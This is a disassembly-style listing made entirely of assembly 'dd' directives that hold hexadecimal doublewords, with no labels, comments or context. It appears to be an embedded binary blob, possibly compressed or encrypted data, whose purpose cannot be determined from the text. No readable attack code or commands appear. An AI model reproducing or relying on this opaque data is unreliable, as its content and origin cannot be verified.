		dd 1DB4D387h, 3EB38C9h,	1420A624h, 3A9F0F01h, 98002D5Ah
		dd 990A8C9h, 24775D14h,	0B64900A0h, 0A546BC3Eh,	0AE7DDCh
		dd 0A44DBF08h, 4C289267h, 2A6AC200h, 1FC1BAC3h,	0CCD00187h
		dd 7048FA6Fh, 0D403474h, 5CF18300h, 867769C1h, 0C1C4826h
		dd 0FBF31200h, 4E0AA382h, 8DE88877h, 0A1043300h, 23513503h
		dd 0FA120359h, 5CD16406h, 9AC190D0h, 67229400h,	995BE6B1h
		dd 851C063h, 84EF85BAh,	5300D2EAh, 57A9FC72h, 24AF8328h
		dd 9348122Bh, 4E520006h, 0B1528BC7h, 0FEAEB900h, 863F6B9Ch
		dd 5C4A0007h, 92E0D42Ch, 9000C38Ah, 78672D05h, 0E0CC187Fh
		dd 12F1044Dh, 80BF431Dh, 818C030Ch, 89A3500h, 2A69228Ah
		dd 0E8E000EFh, 415E3DB4h, 4190FA5Fh, 5A81DC02h,	0C0256E77h
		dd 166E24Dh, 0E0C93603h, 0CC4FF313h, 4C1FAD50h,	3E00CCD3h
		dd 1A825219h, 792000E1h, 0AE510A3Fh, 47001837h,	5C1F8A06h
		dd 39EB5B2h, 5497C812h,	35F009B6h, 0A13FEA74h, 438D0016h
		dd 458F8CAFh, 50F46Bh, 893E7F3Fh, 1B45223h, 248061Ch, 0FF121F81h
		dd 0E8602FD0h, 0A080723Eh, 0D1DDECh, 9CE31872h,	8CD66D55h
		dd 0CA92D00h, 2612580Dh, 5B9E01E4h, 834987A2h, 8CC9F809h
		dd 0C348E603h, 80A15F63h, 20C9774h, 5C7CE8FAh, 0D068C0CEh
		dd 9800C6C7h, 2837D290h, 234E845h, 0BDE64063h, 0C44F28Ah
		dd 0D5E59B1Fh, 8FD16181h, 0BC417AAh, 418500A2h,	508195FBh
		dd 6C00ABCDh, 0E1A4E53Ah, 770A30h, 0B403F948h, 4587CF3Eh
		dd 0CE681700h, 578C4372h, 0F01E008Ah, 8EEA0680h, 4B00CD20h
		dd 0BD1A2BF4h, 0F617A64Fh, 81F707D5h, 0E121D268h, 0CD36D945h
		dd 0DCCD2096h, 981F19FCh, 8F441E2Bh, 5FC057F2h,	5584E6h
		dd 0DE0D40C6h, 6A199A60h, 38BFED00h, 0F0F2F4D2h, 0ACDF1DADh
		dd 0C3E11DE8h, 3E79A7C5h, 0C188E7D0h, 2743BA1Fh, 3AD33594h
		dd 203D0078h, 887B80B9h, 0D7280091h, 44A405E8h,	487AEB4Eh
		dd 57EA0D00h, 146CF978h, 92240333h, 0ADAAA55Ch,	93C2FFA0h
		dd 61DE5204h, 0CCC0BFA4h, 551357h, 0D3DDFEA5h, 0E3200635h
		dd 8FD2B500h, 2189A846h, 0B4A00022h, 0A933074Dh, 11003DEEh
		dd 0A844B86Eh, 0C2D9BEh, 0E13F188Ch, 7B56D197h,	7093FD00h
		dd 0E774471Dh, 0A2890079h, 0E062161Ch, 0CB001F1Eh, 0AF0342Fh
		dd 3B632A22h, 1008572h,	1F0CA5A9h, 0C8724C02h, 0ACADA30Fh
		dd 7BF7A079h, 7FD333DDh, 0BA32009Ch, 20286CD2h,	0D958851Eh
		dd 3A284824h, 0B6640042h, 3BE410A7h, 0FEA18h, 0F468C5F9h
		dd 2BFE3546h, 7425E100h, 0D8E86BCCh, 0A540001Eh, 43B4CE0Ah
		dd 0D9744D99h, 0BB9E000h, 6F8284ADh, 49D003Ch, 4518FEC5h
		dd 410092D4h, 13E36431h, 72F3AA2h, 8EF54497h, 3B95E0AEh
		dd 5400967Ch, 0C2E1E42Eh, 0E2EE7280h, 695A0A06h, 4909419h
		dd 1F5AED3h, 8AC7B4E7h,	0E4100BDCh, 1F0713A0h, 28E0406Eh
		dd 0C5F12FD1h, 3F837700h, 0AD2C4B38h, 735B3F16h, 2980E18Eh
		dd 0C8F7CEE0h, 0D1003253h, 9EEC70ABh, 7CDD91Fh,	19BB34Ch
		dd 6B9D0DFh, 36076D32h,	0E1AF4A13h, 9AF74D90h, 97AC007Dh
		dd 58DE9FECh, 4E06AE6Dh, 482C949Eh, 0EFBC0078h,	0C5CB8E31h
		dd 0DB00146Fh, 6BDDE21h, 582DD99h, 0F0D23E1Dh, 0A3C0BEE1h
		dd 1D173171h, 0C07AAC4Fh, 0FEF4AB6Eh, 0E11F1870h, 36406AF7h
		dd 79835EB0h, 4ADC0063h, 5CE84E80h, 0F9004355h,	0C73D345h
		dd 2F7D9A3h, 0F1262FECh, 6740361Ch, 60002EB0h, 3CC4BCF2h
		dd 5B76A24h, 0E3791B7Ch, 0F74DC355h, 0C4DC0180h, 146CD92Eh
		dd 0C5338200h, 176AC4Bh, 7AE742ADh, 0C4A30B09h,	0F03962B5h
		dd 6AD58783h, 20294BD1h, 0DD656CB0h, 260D016Dh,	1016F30Ch
		dd 2C1E6002h, 5C34E760h, 5C22895Fh, 520059D1h, 48E57057h
		dd 0DC008DF8h, 0BBA3F9FBh, 585B071h, 0E8546A09h, 898A00F2h
		dd 0DB80E3C4h, 3421B21Eh, 0EE68CE83h, 0B7C19875h, 8CD1DAAh
		dd 0B9D480FAh, 5C7D8A79h, 0EB00AC90h, 5DAF1895h, 0E4A43h
		dd 0C873EE9Ch, 0CCF2652Fh, 52AE1B00h, 8830B103h, 17E630F6h
		dd 0E2D37638h, 0CD243B00h, 0D21FF4BEh, 3C4E00D1h, 27ADAF7Fh
		dd 0ED00EFFBh, 817DEADEh, 0EA3D4B13h, 0D80E4879h, 0E5E8F600h
		dd 0F85B147Eh, 91B00F0Bh, 4AD08032h, 199648h, 4311DAA0h
		dd 0C8361844h, 80B7D80Eh, 0BC3340A9h, 0EFF859h,	8C45D4DBh
		dd 25DDB31Bh, 0F1C2AD00h, 3B226BE2h, 149858h, 72271548h
		dd 4169D093h, 0ADCD9C00h, 0CBBB2B7Eh, 70ED1EC1h, 0B828C322h
		dd 0D1E36891h, 0CE822800h, 0FBFDCAB6h, 5AD800E0h, 6D85F48Fh
		dd 1D054452h, 5D4DCCFCh, 0E4547480h, 6ED300B0h,	62CBF7EDh
		dd 0DBB0E878h, 954525h,	9C8EBA0Ch, 551F0085h, 5DD07612h
		dd 0A358AFA7h, 0C72900D4h, 0A567E194h, 15863CC9h, 4B4D0h
		dd 9759195h, 0EF52A17Dh, 9AE34100h, 452E6F06h, 0DCE57879h
		dd 9FA7C339h, 2000FC70h, 64421AF2h, 4B9245h, 0CB4B787h
		dd 81788821h, 53CD4C00h, 9275F36Fh, 65ED0050h, 25B63841h
		dd 89009E46h, 0CED27C7Dh, 3921F5h, 4879D5DEh, 0D13C9BD4h
		dd 810015E8h, 0F9804271h, 0E050BDh, 0F1649D87h,	1CA73A8h
		dd 800A4738h, 0B8F26F6Dh, 0E17F92h, 420C1CB1h, 7D044617h
		dd 0CF0235ECh, 47A349D2h, 22D7E045h, 9FB7168Eh,	969E0764h
		dd 0B4FA1Ch, 0B4616046h, 5276CC57h, 0F016AB26h,	18034D00h
		dd 3DAC9C7Eh, 558EF50Dh, 0D2403766h, 0BE4F8812h, 0E897FA00h
		dd 439FD04Dh, 0DDE504DAh, 80140BB1h, 7C26FBBCh,	5900CA46h
		dd 0E158216Eh, 0B71E8360h, 25BB9EB0h, 703429FEh, 0F188A829h
		dd 0EA665808h, 26E6E200h, 134D1DC5h, 3CFEAE01h,	0D4A06181h
		dd 0A304F4h, 0BBD7E772h, 739E485Bh, 0B9DB600h, 0CE7FE27Ah
		dd 0E8430038h, 0D8DC511Ch, 0D8B05AD1h, 0CF0C7700h, 6C12C80Bh
		dd 93B43FCBh, 6EFE2A00h, 7FFCB2EBh, 720643Bh, 321A76C3h
		dd 9DCFE4D0h, 0C5C90E48h, 34C5B455h, 0E701C056h, 0CE003F37h
		dd 0F7FA2B85h, 0C34E17h, 1CEDADF3h, 16BF5B97h, 27CDF000h
		dd 9E5CF5CBh, 8A120B05h, 130FE724h, 44FEABEFh, 0B34B5DDFh
		dd 4334BC00h, 0A8F40113h, 0ABCE64E6h, 9262D8F3h, 0C63F0035h
		dd 8B871774h, 0DA052043h, 0B8D68D61h, 4A064780h, 283007A3h
		dd 0CE15EE9Eh, 42509C60h, 2C006199h, 4C237A1Fh,	72668E73h
		dd 21A53C59h, 0BC0037BDh, 916B3B75h, 0F600CFD1h, 0C7A08DBEh
		dd 0BADF8BA6h, 595C06A4h, 88A701B0h, 449BEA09h,	848A040Ah
		dd 0D808EDC1h, 14045BF0h, 0DCCCCB23h, 9E838E00h, 0DCBA9182h
		dd 0B8C86B00h, 983C8AA5h, 3ABB00F3h, 0A225FD49h, 7F0091D4h
		dd 0F1FA8F0Fh, 3CDAECEBh, 4100A95Ah, 82CD4411h,	50017FA3h
		dd 0C767586Bh, 0B03FD69Ch, 0D500CCA8h, 0A5DA4241h, 14B68AFh
		dd 0BAF40FEFh, 617AEA46h, 5A286440h, 61357E02h,	638707C9h
		dd 0CA65F868h, 590A041Ch, 805EC812h, 0DAB9E907h, 661B682Ch
		dd 0DBE32A02h, 1139E0B1h, 95EEBDh, 966F8BCEh, 26F672A4h
		dd 2D420F01h, 88271AB4h, 2720E8C0h, 0ACA03A1Bh,	0F7816053h
		dd 5A032171h
		dd 0AA32F683h, 0CE9BD0FFh, 281900EFh, 0ADA9F3C8h, 9D02B205h
		dd 512FDEBBh, 0D0C090FDh, 4228CAEh, 14240075h, 7B1596C0h
		dd 4004134Ch, 330B9B23h, 3B26A090h, 48EF2D76h, 0C0AE6000h
		dd 0FD0116E9h, 720B9FEBh, 0F3E4C595h, 0B210C007h, 0C27C906Ah
		dd 414FB300h, 387EF4BBh, 0F98CB087h, 3A46C60h, 1226A7D3h
		dd 5BB0E929h, 600CC86h,	0B9EE893Ch, 1FEFBA9h, 2F3F0414h
		dd 0E99ADCh, 1C0F2BBh, 4DF405EFh, 719130D6h, 8050DEFBh
		dd 6F84560Fh, 79432101h, 0F3049ABh, 30EB4894h, 30183F01h
		dd 6007995Bh, 0A53BFB2Eh, 17D600BBh, 95A10E6Eh,	6038E7F9h
		dd 0BFDAA804h, 0D6D8C0D9h, 0B501B08Bh, 9B0B5018h, 1DC8D3E1h
		dd 0ACF800B7h, 983074B6h, 1200AA20h, 3C5F80F9h,	0C4EBC6h
		dd 0EA90AC6Eh, 23D0E4C8h, 0C44A48h, 28CC5EA6h, 9895CDC7h
		dd 0ED7F0Ch, 7398B131h,	10DA5B01h, 0F92E29FAh, 0E2176F1Eh
		dd 6E5F0E00h, 1D1432ECh, 32FE48Fh, 0E672FBF1h, 2BDC2880h
		dd 0E8455100h, 39927E07h, 0AAAC6005h, 0F4EEB313h, 2D654600h
		dd 0A7D99F2Ah, 9DA00209h, 0D32E26FDh, 39722CF0h, 0F8444900h
		dd 0B5B3ECE1h, 0D05049C7h, 6B4AA700h, 14D1D9A3h, 2618EA02h
		dd 40C552E1h, 26537DC4h, 0ECC9459h, 38EE7A7Fh, 2A2B8983h
		dd 0E22C4BD8h, 3062B900h, 5E8CB411h, 99CE0033h,	64AE2D0Eh
		dd 0A0000CD1h, 3498660Bh, 0BDA449Ch, 77E18C0Ah,	0B5FE20A2h
		dd 0F74030C0h, 0F4F9D800h, 24E11B84h, 0AF5A00AEh, 0A62F074Dh
		dd 71F8B321h, 0EE98D60Eh, 7FAA6319h, 752000AEh,	62775BCDh
		dd 3A01AD48h, 74DD8857h, 0D2206F71h, 9B750038h,	4CFE3E06h
		dd 7200EC2Bh, 32AE69F5h, 0C45146Fh, 0C9CFA6D0h,	75094051h
		dd 866D9h, 7C224240h, 9DDA0181h, 0DE4C2E91h, 0FC28AC7Eh
		dd 0C7DF040Ah, 32DDB31Ch, 0F9929100h, 0E2C49B4h, 23105002h
		dd 7B7D6DE2h, 3A0B5458h, 80B78619h, 672D933Eh, 90651D5Bh
		dd 7DE4C0D1h, 0B8CE3C5Ch, 0DFCD4500h, 9C5FAF4h,	0BAB4013Eh
		dd 79FD860Eh, 0A7686004h, 0E900B6F6h, 4AFFF9E6h, 0A9C960h
		dd 959A1191h, 0A2DC1AEBh, 0E8D00E05h, 0F8804808h, 8E240CF3h
		dd 0FE07F8FAh, 0D5DF6C10h, 29AC42D0h, 8F9E1F75h, 0BFCF80A5h
		dd 0EE8E36C5h, 0B31EA07h, 21C0ADD7h, 488475h, 0D5B5AF30h
		dd 0D2860DA9h, 4140B402h, 40DD5A65h, 0BA0884h, 456440Bh
		dd 0DECF264Dh, 7B838A5Ch, 0A3957E00h, 0C1B76549h, 328F3C2Ah
		dd 0D3CF1280h, 0DBD9C6DDh, 6D00CEB8h, 66A20274h, 276BF45h
		dd 2363106Eh, 60728705h, 0B10088F4h, 0F145830Ch, 504BCFF3h
		dd 72F9ADh, 0E82950C8h,	4DC465D0h, 9533C702h, 0C30F0591h
		dd 0B889C050h, 0D03B393Fh, 0A3353C85h, 277880A7h, 10C01FAEh
		dd 21EE962Ch, 0C8F6000Dh, 22732467h, 0CE01399Ch, 0B93EC1B6h
		dd 0F44058EDh, 581F019h, 0AA1E2383h, 0BE8400DAh, 5F17CD8Bh
		dd 8A033492h, 0C80E9ADEh, 0D1000B5h, 0A567E2BBh, 1E00EA26h
		dd 0F2DA556Dh, 48B1AFABh, 0CA00D80Ah, 7A680B3Eh, 30002FB7h
		dd 267D8AC8h, 0E22A409h, 0A32AE36Ah, 0BED670A2h, 739314C0h
		dd 8279423Ch, 0DC0CB724h, 631848E3h, 928D00A2h,	42CA0562h
		dd 0B2009A5Fh, 0BF262FEBh, 0FBDA46h, 0B2267CEh,	6F91D787h
		dd 6EC9F201h, 0BDD3DD07h, 10943BD7h, 202FF480h,	0B8B299EFh
		dd 0E96C1302h, 40A81EAFh, 0D63022h, 486AFB21h, 7FF4586Fh
		dd 0A469880Fh, 0DE8D2044h, 125F5F6h, 8EDD27BAh,	406343C7h
		dd 90C621F8h, 0DE7030E0h, 7CF36500h, 92931D69h,	0AE0E007Bh
		dd 7FAF4DEEh, 2500A36Dh, 5C140FDAh, 73CB66h, 60A95168h
		dd 0B884FE7Ah, 46ED9300h, 8B12C1AEh, 28D90063h,	0CB569DEEh
		dd 6E01604Ch, 91FA3DB8h, 0EBC8B290h, 47BB0007h,	0C7727CE5h
		dd 1F0083D8h, 68D491FDh, 1EB4D6A9h, 0C98C4A3Bh,	8B0046B3h
		dd 0CDA17D2Dh, 0CB3A1800h, 0FF64529Ch, 33940038h, 0E2912C0Eh
		dd 360030CEh, 89E031E4h, 0F056F9C3h, 5E26007Bh,	5295AE61h
		dd 0D802B85Fh, 191FB503h, 42986073h, 4F01B804h,	3A30416Ch
		dd 0D463BEC8h, 0AF002E7Ah, 2B092342h, 0E9225EAh, 2D6CFCAh
		dd 0CDE01DCFh, 0E5B479EDh, 9B56CE0Fh, 460C048Ah, 481F0CC1h
		dd 1C731EC1h, 44384E38h, 0A5E7F300h, 0F74B6605h, 0E40062E4h
		dd 1F6B56B8h, 418595h, 0B31639F2h, 8DCA887Dh, 0D000DFF2h
		dd 0AF9F1493h, 0FCA9D8h, 673BDB2Ch, 0EA62BA65h,	6B440900h
		dd 25B81E50h, 0ECA200F0h, 30A44FCFh, 71003AF1h,	5D72348Bh
		dd 0B7C2AEh, 1311DCE2h,	683FF986h, 5570E114h, 98D51EB4h
		dd 7547F881h, 6FE497FEh, 0D7C300BFh, 3C4AF30Ch,	8C005107h
		dd 0AAB7DA54h, 6D5A73h,	96C5E93Ah, 7980311Bh, 0F88CFC00h
		dd 43C4FD42h, 0C1C700F4h, 8D211AA6h, 3309A493h,	80EDAE79h
		dd 0DFEEBA43h, 0A5580011h, 0FA6457A0h, 0EB72F0E8h, 0F073F9h
		dd 0AC2482BCh, 7084B639h, 5A2D3FFBh, 25B20B70h,	0D00037D3h
		dd 0F1BA5E76h, 0C6C2E300h, 0F8E23DACh, 43E51735h, 445C4099h
		dd 0BF3C7EFAh, 8236ED04h, 0FC80AF6Dh, 70767BCh,	0B7E75395h
		dd 3598408Dh, 7B177118h, 0CC047A6Ah, 0AF80CCE6h, 5C589327h
		dd 7E00E8B7h, 8C35473Fh, 0AB025FD4h, 6CD81CEEh,	0A0056FCh
		dd 43648D97h, 3AEAD9BDh, 780064D8h, 1CEDAA05h, 0CC4A2Bh
		dd 88811BE6h, 0DE0D227Dh, 0C60236F4h, 30A10BBEh, 0D07AE057h
		dd 3E8C1609h, 40FC5C46h, 548D8DBh, 0B1006B23h, 6F9EC840h
		dd 0B05B52C1h, 0F5153FBCh, 0CDDA0073h, 0D9E4E844h, 683C5D49h
		dd 2412803Ah, 4169C992h, 26CF00BAh, 0CE77335Ah,	5100C36Bh
		dd 0AE559B66h, 9456D439h, 0D1D80B98h, 7CD9C880h, 270077A9h
		dd 11BA1B49h, 6AEB16h, 51244A1h, 0FB294CF4h, 0CD99F200h
		dd 797D93B1h, 3BBEFE95h, 190130EDh, 6D2CAC11h, 0D1108007h
		dd 4FF3CC0Ah, 0CA5E1D5Ah, 4D5CC0DCh, 0D7A48F1Ah, 0B0133600h
		dd 0D6934B4h, 52660080h, 0EF876C29h, 6201659Bh,	5F53CB32h
		dd 3069981Bh, 7AB07400h, 3CEC6CE3h, 0C5F57707h,	5252F393h
		dd 0EDB1C03Dh, 0F85C3E1Eh, 58107C81h, 0E827E09Eh, 0BBE4FFD7h
		dd 0EF00B758h, 0B7840821h, 48A0D2B5h, 38150628h, 0C4AC207Fh
		dd 0E6DBBA00h, 0C17B0F8Ch, 0A8BE0040h, 0C494B3C3h, 0AFC1146h
		dd 31DFB900h, 4301B197h, 35AA12B5h, 0B8E351h, 89F23B02h
		dd 2A98E9A5h, 39E85E86h, 641276B1h, 8180349h, 2680C66Ah
		dd 0C57671C8h, 0E50172E4h, 0D857599Ah, 6430E9A8h, 277A3B7Fh
		dd 0CB47230Bh, 12EA858Ah, 0DDA500E6h, 0AC574036h, 4195AA00h
		dd 3D58B68Ah, 0DB4A000Fh, 0E4A27682h, 3312A073h, 0B080E52Bh
		dd 0ED575Eh, 7C3ED9CCh,	1CC492EFh, 5389CCB4h, 82E85973h
		dd 7411823Ah, 1C859840h, 5E4E8726h, 8E151D3Ah, 0ADD8E440h
		dd 0E28D62B6h, 0BAB009Dh, 0DC9BA96Ah, 9300B920h, 4EB3730Dh
		dd 0FA75DAFAh, 78E1002Eh, 7405835Bh, 8A016636h,	0F6B331A8h
		dd 0A0301C8Bh, 0B878497Ah, 0CEFC913h, 1B142BDCh, 2681A600h
		dd 0C58D999h, 8C060475h, 812EFE3Ch, 1077EDD4h, 9C886CD2h
		dd 0D4410120h, 0D4A6AC19h, 0A2002768h, 0F0D8CA58h, 163F2657h
		dd 0F126165h, 74A0AF1Ch, 0DD802876h, 4080394Bh,	11FBE65Eh
		dd 0EFF956h, 149CD558h,	6669239h, 893427F4h, 5F98A894h
		dd 9C872302h, 5A1576ADh, 0CA27050h, 7C758231h, 0A7000250h
		dd 0E7F1704Dh, 30EB59ABh, 0B7600BE2h, 0CB005385h, 9EA74D0Ah
		dd 1F926930h, 807BD545h
		dd 7961AEE9h, 8A00C6CEh, 5EBBBDC4h, 1479CEEh, 224D1478h
		dd 0F1C2FA72h, 0C0B86C19h, 78A020E5h, 8B7C009Ch, 0FA69033Ch
		dd 250F3A7Bh, 0E16E6876h, 53F89E2Ah, 3CECCFD5h,	0E6F150FAh
		dd 71D700B3h, 0BDE9B993h, 271D4B73h, 2380D5F0h,	88F4310h
		dd 64BB0718h, 0E05D7467h, 0D76B14BCh, 0F746B701h, 6F3475C6h
		dd 12ECFD21h, 0C42300A3h, 0A7D8722h, 94315AC1h,	53CF186Ah
		dd 0C900F46Dh, 0C2963362h, 0E309298Fh, 0EB0FD7h, 2FD6696Bh
		dd 56130051h, 0DC57A7B3h, 770060C4h, 45FB8D32h,	40A9FEh
		dd 0B6A2094Dh, 9675E0EAh, 6BF5440Bh, 710100FBh,	7115778h
		dd 0B6DC82C8h, 0BC06AF23h, 0C01E4EC6h, 0D200372Ch, 383B5972h
		dd 35D93E5Ah, 46798487h, 604F7771h, 0CFAFBD34h,	9200CCB2h
		dd 0BAC9A95h, 0FE1B7D0Dh, 0ED8F0046h, 1C1AF097h, 0C000E552h
		dd 5E68EB25h, 7D0DFE98h, 7D2776B5h, 7AEC3CC1h, 0E93F2C00h
		dd 0DAE7A9F8h, 76FFE100h, 0C00DF42Fh, 832D123Eh, 6F2C00F0h
		dd 60EBA0F9h, 403B6500h, 0F1F8A2ADh, 0BC9088h, 0AEEBD68h
		dd 19DF5EEDh, 16E9EB03h, 0C85D4767h, 30E6D595h,	0D8788E04h
		dd 3500F594h, 0D925BFFDh, 0AD2D98h, 4CF6A6A9h, 15C70FE9h
		dd 0E0EEF4B1h, 0D24A6796h, 0CA10127Ah, 3D280027h, 95A1E292h
		dd 0C54FE100h, 98BE8131h, 8580000Eh, 2061B529h,	3801BC2Ch
		dd 0AAB6A502h, 18EC4C90h, 0DEC800ECh, 0FB505ABDh, 0ED0246C5h
		dd 686D9F6h, 98424345h,	1DC2AB88h, 465515D8h, 20DBB346h
		dd 0E06E6600h, 0D70AC567h, 0BAA600D3h, 46B1B907h, 2A00E451h
		dd 0A5557627h, 0A08F331Bh, 0B82822A8h, 78BD1074h, 0E06F25C2h
		dd 76333C4Ch, 0CEF939AFh, 723EAD00h, 6C9EA1Eh, 3509C00h
		dd 0A5B2A1Dh, 9E1602B2h, 27D4F2FAh, 90B60EE0h, 11F2638h
		dd 559F1E0Fh, 6BF4312Eh, 0CBA50239h, 8FDF623Ch,	448DCD41h
		dd 6A3092A1h, 0E2C94FAh, 408004C6h, 0A33E26C0h,	0FE5C1F81h
		dd 371F004Fh, 7320FCE8h, 0E0C1F600h, 0EDBDAD51h, 1CC67DF8h
		dd 0B1DFC0h, 0FAA94D7Fh, 660084E6h, 4F7AA67Eh, 13C56A74h
		dd 0A029673Ch, 4B1C8ACh, 0F765A400h, 0E53E35C9h, 4FC034h
		dd 190FBF6Eh, 0B774F90Dh, 8C305D00h, 0B21E82CCh, 0EF40F68h
		dd 9580F30Ah, 0F80DAC38h, 38B054B0h, 0CA4A3B17h, 0E6646820h
		dd 81180059h, 3006EDB5h, 0D400D06Fh, 0CDC2DA67h, 9AC17084h
		dd 985758CCh, 7F00CC48h, 0B01A0729h, 56001F1Eh,	77B41640h
		dd 3C4FE4B5h, 0CC006B30h, 9FC4EEF0h, 5600EB0Bh,	645E948Dh
		dd 0B2CDE61h, 0F563F32Ah, 510CD020h, 0AA00D3B5h, 32AFC1CBh
		dd 268C0A9Dh, 81C41133h, 2ABFC608h, 0E0688Ah, 7985CF7Ch
		dd 0BA7AA0h, 0FB304A0Ah, 263A138Bh, 8AE64B00h, 3172807Dh
		dd 66F40059h, 8E470BA1h, 4C04BA89h, 77E4E04Dh, 18464EC0h
		dd 0DD4F24D3h, 35C31738h, 42CB1C24h, 69CA5697h,	0A980245Eh
		dd 2CAFBA54h, 0F9D90013h, 5A11262Eh, 4F003DFBh,	0E7732F9Eh
		dd 7F7EBC0Fh, 0D2470123h, 0C6E5F803h, 0DC68F444h, 251CAC03h
		dd 0A0BB8356h, 1C8AB15Ah, 83DEF00Ah, 512BD87Bh,	74DC0F7h
		dd 964B272Dh, 0DE5294C0h, 85D200C5h, 0CFB8E0C9h, 0CCA04C3Dh
		dd 9200B22Bh, 43D6D57Bh, 1663E8h, 13E2CE27h, 223584F0h
		dd 41866C00h, 633DCBD5h, 11F7E3Eh, 9AE933CCh, 78D96419h
		dd 2DF7007Ch, 96AA21A0h, 2F54001Eh, 0E6FD6BE4h,	8EE4D7BDh
		dd 7285F00h, 0CA423836h, 9FBF0079h, 37066308h, 1550D673h
		dd 8F0186DCh, 3A9877A4h, 4241690h, 91F8A2h, 7DBC421h, 9557AD4Eh
		dd 0AB0EF100h, 0B0CA3088h, 0D95B1D51h, 0E20FC128h, 0C5250183h
		dd 5A60FAEAh, 54133B5Ch, 8CCA21CCh, 4366800h, 0E85B3FA1h
		dd 388FD82Fh, 0D6BD60h,	2A13D409h, 0C1345571h, 8013F00h
		dd 0FAAB2765h, 3DA80035h, 87FB58C0h, 700572Eh, 8E1F3F67h
		dd 4F998D6h, 4548C2AFh,	3BE3C1E8h, 2BA9DC5Bh, 31042A00h
		dd 491A2E3Dh, 0AA96008Eh, 44D68488h, 70C2B80h, 8AFD9E1Dh
		dd 0F89448EFh, 0F880892Dh, 0E572DD9h, 0FF023C00h, 232ED806h
		dd 282B484Ah, 933F0074h, 0C4E91235h, 821C72E6h,	86009D39h
		dd 45199BBAh, 0CCF452h,	1B22887Bh, 30BB6F71h, 90A87917h
		dd 6418C700h, 7686B2h, 0D6190807h, 14722EA5h, 17E35200h
		dd 0AF1F8AC2h, 5E9C0031h, 0BF2F6E3Ah, 8200EFFDh, 856CA941h
		dd 0F7E71A0h, 89B65AC7h, 217BD7E0h, 240066A1h, 1856DB30h
		dd 1DFF6982h, 0A9BEAEh,	932A288Ah, 867AD1F6h, 0AF2E1B00h
		dd 0F865671Ah, 53500DFh, 4F88EFCAh, 70FAE19Ch, 0DE002DE6h
		dd 87F59A96h, 0E68D90h,	0B1D2259Bh, 2DAB60DAh, 49966900h
		dd 3817B5E3h, 0ED640F2Fh, 0DCA37607h, 0AF88C03Fh, 4C5EC3E6h
		dd 44F4C800h, 9FACA5Fh,	140D49A0h, 74640860h, 35D0D11Ch
		dd 0BE23DDC0h, 0C22D56h, 3884873Ch, 2E8FEA04h, 6DE9E27Bh
		dd 619100C4h, 637D508Eh, 34120085h, 0A2CDAD1Dh,	14FC96D2h
		dd 0BF99DA09h, 0D8F8D5h, 0AF4DD843h, 636D953h, 3BE26F48h
		dd 71F805C0h, 0AE80F986h, 9F6CD60h, 7EA4A715h, 80CF08B3h
		dd 7DB8A2A3h, 0AAC0D200h, 25481A57h, 388B0139h,	0D77FE905h
		dd 0D49031FEh, 4C79A6CEh, 180E487Fh, 67517D52h,	84109136h
		dd 1C6B734Fh, 4074C3AEh, 49BD409Dh, 77009628h, 0C69AAAA2h
		dd 1CE16EB0h, 81B5CB45h, 3AA71D4Ch, 6C88F8D0h, 65E320C1h
		dd 7D7032F1h, 0E2EC01B5h, 4FBB4666h, 90DC3468h,	69320612h
		dd 85E1C703h, 0F26DE2DFh, 498C27B4h, 0F1FC4480h, 4E5A1CFAh
		dd 0D49FF000h, 992A938h, 0A88A4965h, 0CD3D1CF8h, 1CAA8078h
		dd 5B77215Ch, 0F04B85h,	1855E9A8h, 0D800A8DFh, 156CC01Ah
		dd 0A0626117h, 0BE3FF4h, 0A4405EBDh, 0DA4FB05Dh, 0FCE738C2h
		dd 0BEBCC9D8h, 5DB4E8CBh, 7E4AE826h, 0F42C0E7Bh, 0ACC104DAh
		dd 0F9E7368Ch, 5A3180DDh, 0BC33517Eh, 8DB00Ch, 82D17CA5h
		dd 2054F6A1h, 0FD14C200h, 0C921B12Eh, 2676070Fh, 30189FACh
		dd 90A15880h, 38D7D114h, 300F301Ch, 5C7596FEh, 6528BAD2h
		dd 163F0014h, 1C64DCD9h, 8F003253h, 34D5117Ch, 2659A0h
		dd 1218C4D2h, 86E4069Bh, 281A600h, 0BD6304ABh, 0A26400F6h
		dd 8FB2F962h, 2907C821h, 0C2BAF0E8h, 0D9DBC01Eh, 0E47B2825h
		dd 6C32005Eh, 0ECF5D2FEh, 0FF0FE1C1h, 0F9C58460h, 5E3001A8h
		dd 0EE4001EDh, 3BFE7227h, 8015D126h, 94E70221h,	0FCF46BFh
		dd 0FE88D30Fh, 7EC0E380h, 0A5000E2Ch, 0B582A389h, 0C592134h
		dd 66F8BBACh, 0BC039F61h, 2DA74BA0h, 0E9F2E070h, 0D5DBA063h
		dd 42B06EBh, 202521BBh,	27B57B13h, 20FAE30Ah, 8C903970h
		dd 7566DA00h, 7FE214E6h, 0E76E1DBBh, 708A95FFh,	0FB94BD02h
		dd 1231DE40h, 93550410h, 58E8950Ah, 9007DCE2h, 800B532Bh
		dd 5C2903AEh, 55CF0096h, 0C8023680h, 9D00FE37h,	2AE9BD7Eh
		dd 8CAFA3h, 4EAE620Ch, 3CDDBB09h, 0FE2CB0C0h, 0CA7A56CEh
		dd 5EBCE768h, 7CBC46h, 0EB546EF2h, 0A4E3C3A1h, 0C426C000h
		dd 0CBCF4551h, 0ADC8A9BCh, 3C2419D5h, 22610C83h, 0DE117DA9h
		dd 5A865E1Eh, 0F09D5280h, 0EFA6CFDh, 0B34677A3h, 98480092h
		dd 40C2B5F1h, 38977A30h, 60E8DACEh, 0C57621F8h,	3177655Ah
		dd 309CEA5Ch, 0F0A1D951h, 61DA0042h, 0AE974457h, 95047FA3h
		dd 89E920A2h, 0FA627890h, 1C5A7B52h, 73C52607h,	20CE4609h
		dd 45714200h, 0EAF1E73Ah, 40D6006Eh, 86B07B13h,	0A40032CBh
		dd 210A0CC8h
		dd 0F279174Bh, 56110115h, 0D587F881h, 3168807Fh, 0B40786FDh
		dd 7CA709F0h, 0E403185Ch, 2000664Dh, 0FE86D506h, 629535h
		dd 9E64F70h, 1E149489h,	0EB468E00h, 0E9C307EFh,	2155001Dh
		dd 0A6BB3986h, 410E1B32h, 8419824Ch, 0F300D014h, 0E6283972h
		dd 0A6793E03h, 0C8C0D583h, 0A1F5D05h, 0EEEB4755h, 3A414F28h
		dd 180AA682h, 6D808B06h, 85037839h, 0B3086110h,	0C71803ECh
		dd 94283F2h, 0D245BE0h,	0AF3DF504h, 1EB4DD7h, 0AD1208A9h
		dd 0C1319CEBh, 0E5094483h, 23D6B32Bh, 0FA0073D8h, 0D2A6AF39h
		dd 7C44AE19h, 238000Fh,	3C4B17D8h, 0D0C06456h, 515241C1h
		dd 9E1B0CF3h, 5E71EE08h, 5EFBF00h, 6C50F0FFh, 7CB00025h
